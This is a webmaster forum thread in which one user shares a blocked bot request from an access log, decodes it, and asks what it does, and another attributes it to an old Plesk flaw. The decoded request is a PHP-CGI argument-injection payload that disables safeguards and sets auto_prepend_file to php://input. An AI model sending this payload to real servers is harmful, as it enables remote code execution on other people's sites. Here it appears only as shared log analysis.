bot request - translation?

[lucy24]

Just out of curiosity, can someone tell me what this malign robot was trying to do? There was a flurry of requests on multiple sites a couple of days ago, all along the lines of

199.195.250.abc - - [20/Jul/2020:10:14:49 -0700] "POST /php4?%2D%64+%61%6C%6C%6F%77%5F%75%72%6C%5F%69%6E%63%6C%75%64%65%3D%6F%6E+%2D%64+%73%61%66%65%5F%6D%6F%64%65%3D%6F%66%66+%2D%64+%73%75%68%6F%73%69%6E%2E%73%69%6D%75%6C%61%74%69%6F%6E%3D%6F%6E+%2D%64+%64%69%73%61%62%6C%65%5F%66%75%6E%63%74%69%6F%6E%73%3D%22%22+%2D%64+%6F%70%65%6E%5F%62%61%73%65%64%69%72%3D%6E%6F%6E%65+%2D%64+%61%75%74%6F%5F%70%72%65%70%65%6E%64%5F%66%69%6C%65%3D%70%68%70%3A%2F%2F%69%6E%70%75%74+%2D%64+%63%67%69%2E%66%6F%72%63%65%5F%72%65%64%69%72%65%63%74%3D%30+%2D%64+%63%67%69%2E%72%65%64%69%72%65%63%74%5F%73%74%61%74%75%73%5F%65%6E%76%3D%30+%2D%6E HTTP/1.1" 403 1132 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36" 

where the percent-encoded request decodes to

"POST /php4?-d+allow_url_include=on+-d+safe_mode=off+-d+suhosin.simulation=on+-d+disable_functions=""+-d+open_basedir=none+-d+auto_prepend_file=php://input+-d+cgi.force_redirect=0+-d+cgi.redirect_status_env=0+-n HTTP/1.1"

Obviously up to no good, and obviously blocked. Just wondering.

[csdude55]

I BELIEVE that was an attempt to exploit an old Plesk vulnerability:

[cio.com...]